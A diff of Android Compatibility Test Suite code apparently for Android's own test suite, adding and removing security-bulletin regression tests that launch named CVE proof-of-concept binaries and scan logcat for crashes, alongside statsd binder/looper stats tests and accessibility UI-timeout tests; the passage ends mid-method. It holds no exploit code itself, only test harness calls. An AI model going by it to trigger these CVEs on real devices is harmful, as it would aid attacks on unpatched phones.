--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java
@@ -38,4 +38,16 @@
     public void testPocCVE_2016_0844() throws Exception {
         AdbUtils.runPoc("CVE-2016-0844", getDevice(), 60);
     }
+
+    /**
+     * b/26593930
+     */
+    @SecurityTest
+    public void testPocCVE_2016_2412() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2016-2412", getDevice(), 60);
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> system_server <<<",
+            logcatOut);
+    }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
deleted file mode 100644
index 8c22dfb..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
+++ /dev/null
@@ -1,35 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_06 extends SecurityTestCase {
-
-    /**
-     * b/27364029
-     */
-    @SecurityTest
-    public void testPocCVE_2016_2062() throws Exception {
-        if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            AdbUtils.runCommandLine("logcat -c" , getDevice());
-            AdbUtils.runPoc("CVE-2016-2062", getDevice(), 60);
-            String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
-            assertMatches("[\\s\\n\\S]*CVE-2016-2062 passed[\\s\\n\\S]*", logcat);
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
index 15659a8..e52004b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java
@@ -26,10 +26,10 @@
     @SecurityTest
     public void testPocCVE_2016_8479() throws Exception {
         if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
-            AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
+             AdbUtils.runPocNoOutput("CVE-2016-8479", getDevice(), 180);
             // CTS begins the next test before device finishes rebooting,
             // sleep to allow time for device to reboot.
-            Thread.sleep(30000);
+            Thread.sleep(70000);
         }
     }
 
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..b58fac4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import java.util.concurrent.TimeUnit;
+
+@SecurityTest
+public class Poc17_06 extends SecurityTestCase {
+
+    /**
+     * b/36392138
+     */
+    @SecurityTest
+    public void testPocCVE_2017_0647() throws Exception {
+        AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
+                getDevice());
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runCommandLine(
+            "dex2oat " +
+            "--dex-file=/data/local/tmp/CVE-2017-0647.zip " +
+            "--oat-file=/data/local/tmp/out " +
+            "--base=0x50000000", getDevice());
+        String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Zip: missed a central dir sig", logcatOut);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index 7101905..917bb70 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -26,6 +26,7 @@
 import java.util.regex.Matcher;
 import java.util.Map;
 import java.util.HashMap;
+import com.android.ddmlib.Log;
 
 public class SecurityTestCase extends DeviceTestCase {
 
@@ -33,6 +34,8 @@
 
     private long kernelStartTime;
 
+    private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+
     /**
      * Waits for device to be online, marks the most recent boottime of the device
      */
@@ -45,6 +48,8 @@
             Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
         //TODO:(badash@): Watch for other things to track.
         //     Specifically time when app framework starts
+
+        oomCatcher.start();
     }
 
     /**
@@ -96,6 +101,22 @@
                     - kernelStartTime < 2));
         //TODO(badash@): add ability to catch runtime restart
         getDevice().disableAdbRoot();
+
+        if (oomCatcher.isOomDetected()) {
+            switch (oomCatcher.getOomBehavior()) {
+                case FAIL_AND_LOG:
+                    fail("The device ran out of memory.");
+                    return;
+                case PASS_AND_LOG:
+                    Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
+                    return;
+                case FAIL_NO_LOG:
+                    fail();
+                    return;
+            }
+        }
+
+        oomCatcher.stop(getDevice().getSerialNumber());
     }
 
     public void assertMatches(String pattern, String input) throws Exception {
@@ -115,8 +136,4 @@
         assertFalse("Pattern found: " + pattern,
           Pattern.compile(pattern, Pattern.DOTALL|Pattern.MULTILINE).matcher(input).find());
     }
-
-    // Flag meaning the test will likely fail on devices with low memory.
-    public void setHighMemoryTest() {
-    }
 }
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.mk b/hostsidetests/statsd/apps/statsdapp/Android.mk
index 71d9323..4218526 100644
--- a/hostsidetests/statsd/apps/statsdapp/Android.mk
+++ b/hostsidetests/statsd/apps/statsdapp/Android.mk
@@ -36,8 +36,7 @@
     compatibility-device-util \
     androidx.legacy_legacy-support-v4 \
     legacy-android-test \
-    android-support-test \
-    statsdprotolite
+    android-support-test
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
index 98be839..d0a05f4 100644
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
+++ b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/StatsdCtsForegroundActivity.java
@@ -19,6 +19,9 @@
 import com.android.server.cts.device.statsd.AtomTests;
 
 import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.content.Intent;
 import android.graphics.Color;
 import android.graphics.Point;
@@ -39,6 +42,7 @@
     public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
     public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
     public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
+    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
     public static final String ACTION_CRASH = "action.crash";
 
     public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
@@ -71,6 +75,9 @@
             case ACTION_SHOW_APPLICATION_OVERLAY:
                 doShowApplicationOverlay();
                 break;
+            case ACTION_SHOW_NOTIFICATION:
+                doShowNotification();
+                break;
             case ACTION_CRASH:
                 doCrash();
                 break;
@@ -126,6 +133,25 @@
         finish();
     }
 
+    private void doShowNotification() {
+        final int notificationId = R.layout.activity_main;
+        final String notificationChannel = "StatsdCtsChannel";
+
+        NotificationManager nm = getSystemService(NotificationManager.class);
+        nm.createNotificationChannel(new NotificationChannel(notificationChannel, "Statsd Cts",
+                NotificationManager.IMPORTANCE_DEFAULT));
+
+        nm.notify(
+                notificationId,
+                new Notification.Builder(this, notificationChannel)
+                        .setSmallIcon(android.R.drawable.stat_notify_chat)
+                        .setContentTitle("StatsdCts")
+                        .setContentText("StatsdCts")
+                        .build());
+        nm.cancel(notificationId);
+        finish();
+    }
+
     @SuppressWarnings("ConstantOverflow")
     private void doCrash() {
         Log.e(TAG, "About to crash the app with 1/0 " + (long)1/0);
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index e33d42c..71b93d1 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -20,6 +20,7 @@
 
 import android.os.BatteryStatsProto;
 import android.service.batterystats.BatteryStatsServiceDumpProto;
+import android.service.procstats.ProcessStatsPackageProto;
 import android.service.procstats.ProcessStatsProto;
 import android.service.procstats.ProcessStatsServiceDumpProto;
 
@@ -224,13 +225,15 @@
 
     protected List<Atom> getGaugeMetricDataList() throws Exception {
         ConfigMetricsReportList reportList = getReportList();
-        assertTrue(reportList.getReportsCount() == 1);
+        assertTrue("Only one report expected", reportList.getReportsCount() == 1);
         // only config
         ConfigMetricsReport report = reportList.getReports(0);
+        assertTrue("Only one metric expected", report.getMetricsCount() == 1);
 
         List<Atom> data = new ArrayList<>();
         for (GaugeMetricData gaugeMetricData :
                 report.getMetrics(0).getGaugeMetrics().getDataList()) {
+            assertTrue("Only one bucket expected", gaugeMetricData.getBucketInfoCount() == 1);
             for (Atom atom : gaugeMetricData.getBucketInfo(0).getAtomList()) {
                 data.add(atom);
             }
@@ -339,6 +342,26 @@
         }
     }
 
+    /*
+     * Get all procstats package data in proto
+     */
+    protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
+        try {
+            List<ProcessStatsPackageProto> processStatsProtoList = getDump(
+                    ProcessStatsServiceDumpProto.parser(),
+                    String.join(" ", DUMP_PROCSTATS_CMD,
+                            "--proto")).getProcstatsOver24Hrs().getPackageStatsList();
+            LogUtil.CLog.d("Got procstats:\n ");
+            for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
+                LogUtil.CLog.d(processStatsProto.toString());
+            }
+            return processStatsProtoList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump procstats proto");
+            throw (e);
+        }
+    }
+
     /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
     protected static FieldValueMatcher.Builder createFvm(int field) {
         return FieldValueMatcher.newBuilder().setField(field);
@@ -391,12 +414,12 @@
     /**
      * Adds an atom to a gauge metric of a config
      *
-     * @param conf      configuration
-     * @param atomId    atom id (from atoms.proto)
-     * @param dimension dimension is needed for most pulled atoms
+     * @param conf        configuration
+     * @param atomId      atom id (from atoms.proto)
+     * @param gaugeMetric the gauge metric to add
      */
     protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
-            @Nullable FieldMatcher.Builder dimension) throws Exception {
+            GaugeMetric.Builder gaugeMetric) throws Exception {
         final String atomName = "Atom" + System.nanoTime();
         final String gaugeName = "Gauge" + System.nanoTime();
         final String predicateName = "APP_BREADCRUMB";
@@ -435,17 +458,31 @@
                         .setCountNesting(false)
                 )
         );
-        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+        gaugeMetric
                 .setId(gaugeName.hashCode())
                 .setWhat(atomName.hashCode())
+                .setCondition(predicateName.hashCode());
+        conf.addGaugeMetric(gaugeMetric.build());
+    }
+
+    /**
+     * Adds an atom to a gauge metric of a config
+     *
+     * @param conf      configuration
+     * @param atomId    atom id (from atoms.proto)
+     * @param dimension dimension is needed for most pulled atoms
+     */
+    protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
+            @Nullable FieldMatcher.Builder dimension) throws Exception {
+        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
                 .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
                 .setSamplingType(GaugeMetric.SamplingType.ALL_CONDITION_CHANGES)
-                .setBucket(TimeUnit.CTS)
-                .setCondition(predicateName.hashCode());
+                .setMaxNumGaugeAtomsPerBucket(10000)
+                .setBucket(TimeUnit.CTS);
         if (dimension != null) {
             gaugeMetric.setDimensionsInWhat(dimension.build());
         }
-        conf.addGaugeMetric(gaugeMetric.build());
+        addGaugeAtom(conf, atomId, gaugeMetric);
     }
 
     /**
@@ -590,6 +627,34 @@
         getDevice().executeShellCommand("cmd battery set wireless 1");
     }
 
+    protected void enableLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats enable");
+    }
+
+    protected void resetLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats reset");
+    }
+
+    protected void disableLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats disable");
+    }
+
+    protected void enableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
+    }
+
+    protected void resetBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
+    }
+
+    protected void disableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
+    }
+
+    protected void binderStatsNoSampling() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
+    }
+
     public void setAppBreadcrumbPredicate() throws Exception {
         doAppBreadcrumbReportedStart(1);
     }
@@ -727,4 +792,11 @@
         return hasIt == requiredAnswer;
     }
 
+    /**
+     * Determines if the device has |file|.
+     */
+    protected boolean doesFileExist(String file) throws Exception {
+        return getDevice().doesFileExist(file);
+    }
+
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
index b4af492..7426ccf 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
@@ -172,6 +172,13 @@
     }
 
     /**
+     * Uninstalls the test apk.
+     */
+    protected void uninstallPackage() throws Exception{
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+    }
+
+    /**
      * Required to successfully start a background service from adb in O.
      */
     protected void allowBackgroundServices() throws Exception {
@@ -225,4 +232,16 @@
     protected void clearProcStats() throws Exception {
         getDevice().executeShellCommand("dumpsys procstats --clear");
     }
+
+    protected void startProcStatsTesting() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --start-testing");
+    }
+
+    protected void stopProcStatsTesting() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --stop-testing");
+    }
+
+    protected void commitProcStatsToDisk() throws Exception {
+        getDevice().executeShellCommand("dumpsys procstats --commit");
+    }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
index 71fac10..69a45a6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/HostAtomTests.java
@@ -26,11 +26,13 @@
 import com.android.os.AtomsProto.AppBreadcrumbReported;
 import com.android.os.AtomsProto.Atom;
 import com.android.os.AtomsProto.BatterySaverModeStateChanged;
+import com.android.os.AtomsProto.BatteryVoltage;
 import com.android.os.AtomsProto.FullBatteryCapacity;
 import com.android.os.AtomsProto.KernelWakelock;
 import com.android.os.AtomsProto.RemainingBatteryCapacity;
 import com.android.os.StatsLog.EventMetricData;
 
+import java.io.File;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.List;
@@ -48,6 +50,10 @@
     private static final String FEATURE_TELEPHONY = "android.hardware.telephony";
     private static final String FEATURE_WATCH = "android.hardware.type.watch";
 
+    // Either file must exist to read kernel wake lock stats.
+    private static final String WAKE_LOCK_FILE = "/proc/wakelocks";
+    private static final String WAKE_SOURCES_FILE = "/d/wakeup_sources";
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -334,11 +340,7 @@
         }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-            .setField(Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER)
-            .addChild(FieldMatcher.newBuilder()
-                .setField(RemainingBatteryCapacity.CHARGE_UAH_FIELD_NUMBER));
-        addGaugeAtom(config, Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER, dimension);
+        addGaugeAtomWithDimensions(config, Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER, null);
 
         uploadConfig(config);
 
@@ -361,11 +363,7 @@
         }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-                .setField(Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(FullBatteryCapacity.CAPACITY_UAH_FIELD_NUMBER));
-        addGaugeAtom(config, Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER, dimension);
+        addGaugeAtomWithDimensions(config, Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER, null);
 
         uploadConfig(config);
 
@@ -381,16 +379,34 @@
         assertTrue(atom.getFullBatteryCapacity().getCapacityUAh() > 0);
     }
 
-    public void testKernelWakelock() throws Exception {
+    public void testBatteryVoltage() throws Exception {
         if (statsdDisabled()) {
             return;
         }
+        if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-                .setField(Atom.KERNEL_WAKELOCK_FIELD_NUMBER)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(KernelWakelock.NAME_FIELD_NUMBER));
-        addGaugeAtom(config, Atom.KERNEL_WAKELOCK_FIELD_NUMBER, dimension);
+        addGaugeAtom(config, Atom.BATTERY_VOLTAGE_FIELD_NUMBER, null);
+
+        uploadConfig(config);
+
+        Thread.sleep(WAIT_TIME_LONG);
+        setAppBreadcrumbPredicate();
+        Thread.sleep(WAIT_TIME_LONG);
+
+        List<Atom> data = getGaugeMetricDataList();
+
+        assertTrue(data.size() > 0);
+        Atom atom = data.get(0);
+        assertTrue(atom.getBatteryVoltage().hasVoltageMV());
+        assertTrue(atom.getBatteryVoltage().getVoltageMV() > 0);
+    }
+
+    public void testKernelWakelock() throws Exception {
+        if (statsdDisabled() || !kernelWakelockStatsExist()) {
+            return;
+        }
+        StatsdConfig.Builder config = getPulledConfig();
+        addGaugeAtomWithDimensions(config, Atom.KERNEL_WAKELOCK_FIELD_NUMBER, null);
 
         uploadConfig(config);
 
@@ -408,6 +424,15 @@
         assertTrue(atom.getKernelWakelock().hasTime());
     }
 
+    // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
+    private boolean kernelWakelockStatsExist() {
+      try {
+        return doesFileExist(WAKE_LOCK_FILE) || doesFileExist(WAKE_SOURCES_FILE);
+      } catch(Exception e) {
+        return false;
+      }
+    }
+
     public void testWifiActivityInfo() throws Exception {
         if (statsdDisabled()) {
             return;
@@ -417,7 +442,7 @@
         if (!checkDeviceFor("checkWifiEnhancedPowerReportingSupported")) return;
 
         StatsdConfig.Builder config = getPulledConfig();
-        addGaugeAtom(config, Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER, null);
+        addGaugeAtomWithDimensions(config, Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER, null);
 
         uploadConfig(config);
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index 2e50b42..0f27288 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -22,20 +22,25 @@
 import android.os.WakeLockLevelEnum;
 import android.platform.test.annotations.RestrictedBuildTest;
 
+import com.android.internal.os.StatsdConfigProto.FieldFilter;
 import com.android.internal.os.StatsdConfigProto.FieldMatcher;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
 import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.TimeUnit;
 import com.android.os.AtomsProto.AppCrashOccurred;
 import com.android.os.AtomsProto.AppStartOccurred;
 import com.android.os.AtomsProto.Atom;
 import com.android.os.AtomsProto.AudioStateChanged;
 import com.android.os.AtomsProto.BleScanResultReceived;
 import com.android.os.AtomsProto.BleScanStateChanged;
+import com.android.os.AtomsProto.BinderCalls;
 import com.android.os.AtomsProto.CameraStateChanged;
 import com.android.os.AtomsProto.CpuActiveTime;
 import com.android.os.AtomsProto.CpuTimePerUid;
 import com.android.os.AtomsProto.FlashlightStateChanged;
 import com.android.os.AtomsProto.ForegroundServiceStateChanged;
 import com.android.os.AtomsProto.GpsScanStateChanged;
+import com.android.os.AtomsProto.LooperStats;
 import com.android.os.AtomsProto.MediaCodecStateChanged;
 import com.android.os.AtomsProto.OverlayStateChanged;
 import com.android.os.AtomsProto.PictureInPictureStateChanged;
@@ -270,11 +275,7 @@
         }
         if (!hasFeature(FEATURE_WATCH, false)) return;
         StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-                .setField(Atom.CPU_TIME_PER_UID_FIELD_NUMBER)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(CpuTimePerUid.UID_FIELD_NUMBER));
-        addGaugeAtom(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, dimension);
+        addGaugeAtomWithDimensions(config, Atom.CPU_TIME_PER_UID_FIELD_NUMBER, null);
 
         uploadConfig(config);
 
@@ -311,7 +312,7 @@
                 .setField(Atom.CPU_ACTIVE_TIME_FIELD_NUMBER)
                 .addChild(FieldMatcher.newBuilder()
                         .setField(CpuActiveTime.UID_FIELD_NUMBER));
-        addGaugeAtom(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
+        addGaugeAtomWithDimensions(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
 
         uploadConfig(config);
 
@@ -796,4 +797,66 @@
         assertTrue(a0.getState().getNumber() == stateOn);
         assertTrue(a1.getState().getNumber() == stateOff);
     }
+
+    public void testBinderStats() throws Exception {
+        if (statsdDisabled()) {
+            return;
+        }
+        try {
+            unplugDevice();
+            Thread.sleep(WAIT_TIME_SHORT);
+            enableBinderStats();
+            binderStatsNoSampling();
+            resetBinderStats();
+            StatsdConfig.Builder config = getPulledConfig();
+            FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
+                    .setField(Atom.BINDER_CALLS_FIELD_NUMBER);
+            GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+                    .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
+                    .setSamplingType(GaugeMetric.SamplingType.ALL_CONDITION_CHANGES)
+                    .setDimensionsInWhat(dimension.build())
+                    .setMaxNumGaugeAtomsPerBucket(1000)
+                    .setBucket(TimeUnit.CTS);
+            addGaugeAtom(config, Atom.BINDER_CALLS_FIELD_NUMBER, gaugeMetric);
+
+            uploadConfig(config);
+            Thread.sleep(WAIT_TIME_SHORT);
+
+            runActivity("StatsdCtsForegroundActivity", "action", "action.show_notification",3_000);
+
+            setAppBreadcrumbPredicate();
+            Thread.sleep(WAIT_TIME_SHORT);
+
+            boolean found = false;
+            int uid = getUid();
+            List<Atom> atomList = getGaugeMetricDataList();
+            for (Atom atom : atomList) {
+                BinderCalls calls = atom.getBinderCalls();
+                boolean classMatches = calls.getServiceClassName().contains(
+                        "com.android.server.notification.NotificationManagerService");
+                boolean methodMatches = calls.getServiceMethodName()
+                        .equals("createNotificationChannels");
+
+                if (calls.getUid() == uid && classMatches && methodMatches) {
+                    found = true;
+                    assertTrue("Call count should not be negative or equal to 0.",
+                            calls.getRecordedCallCount() > 0);
+                    assertTrue("Call count should not be negative or equal to 0.",
+                            calls.getCallCount() > 0);
+                    assertTrue("Wrong latency",
+                            calls.getRecordedTotalLatencyMicros() > 0
+                            && calls.getRecordedTotalLatencyMicros() < 1000000);
+                    assertTrue("Wrong cpu usage",
+                            calls.getRecordedTotalCpuMicros() > 0
+                            && calls.getRecordedTotalCpuMicros() < 1000000);
+                }
+            }
+
+            assertTrue("Did not find a matching atom for uid " + uid, found);
+
+        } finally {
+            disableBinderStats();
+            plugInAc();
+        }
+    }
 }
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index 9cb148b..622c06e 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_SRC_FILES += $(call all-java-files-under, JobTestApp/src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/accessibility/res/xml/speaking_accessibilityservice.xml b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
index a58a53e..112a03b 100644
--- a/tests/accessibility/res/xml/speaking_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/speaking_accessibilityservice.xml
@@ -16,10 +16,11 @@
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
     android:accessibilityEventTypes="typeAllMask"
     android:accessibilityFeedbackType="feedbackSpoken"
-    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagReportViewIds|flagRequestFilterKeyEvents"
+    android:accessibilityFlags="flagDefault|flagIncludeNotImportantViews|flagRequestTouchExplorationMode|flagReportViewIds|flagRequestFilterKeyEvents|flagRequestShortcutWarningDialogSpokenFeedback"
     android:canRetrieveWindowContent="true"
     android:canRequestTouchExplorationMode="true"
     android:canRequestFilterKeyEvents="true"
     android:settingsActivity="foo.bar.Activity"
     android:description="@string/some_description"
-    android:summary="@string/some_summary" />
+    android:summary="@string/some_summary"
+    android:minimumUiTimeout="1000" />
diff --git a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
index e1b9706..b83c45e 100644
--- a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
@@ -18,4 +18,5 @@
     android:accessibilityFeedbackType="feedbackHaptic"
     android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode"
     android:canRetrieveWindowContent="true"
-    android:canRequestTouchExplorationMode="true" />
+    android:canRequestTouchExplorationMode="true"
+    android:minimumUiTimeout="2000" />
diff --git a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
index 0cf2c19..2efaebd 100644
--- a/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
+++ b/tests/accessibility/src/android/view/accessibility/cts/AccessibilityManagerTest.java
@@ -18,9 +18,12 @@
 
 import android.accessibilityservice.AccessibilityServiceInfo;
 import android.app.Service;
+import android.app.UiAutomation;
+import android.content.ContentResolver;
 import android.content.Context;
 import android.content.pm.ServiceInfo;
 import android.os.Handler;
+import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityManager;
@@ -46,6 +49,12 @@
     private static final String MULTIPLE_FEEDBACK_TYPES_ACCESSIBILITY_SERVICE_NAME =
         "android.view.accessibility.cts.SpeakingAndVibratingAccessibilityService";
 
+    private static final String ACCESSIBILITY_MINIMUM_UI_TIMEOUT_ENABLED =
+            "accessibility_minimum_ui_timeout_enabled";
+
+    private static final String ACCESSIBILITY_MINIMUM_UI_TIMEOUT_MS =
+            "accessibility_minimum_ui_timeout_ms";
+
     private AccessibilityManager mAccessibilityManager;
 
     private Context mTargetContext;
@@ -332,6 +341,22 @@
         mAccessibilityManager.removeAccessibilityStateChangeListener(listener);
     }
 
+    public void testGetMinimumUiTimeoutMs() throws Exception {
+        ServiceControlUtils.enableSpeakingAndVibratingServices(getInstrumentation());
+        waitForAccessibilityEnabled();
+        UiAutomation automan = getInstrumentation().getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        turnOffMinimumUiTimoutSettings(automan);
+        PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 2000);
+        turnOnMinimumUiTimoutSettings(automan, 5000);
+        PollingCheck.waitFor(() -> mAccessibilityManager.getMinimumUiTimeoutMillis() == 5000);
+        turnOnMinimumUiTimoutSettings(automan, 6000);
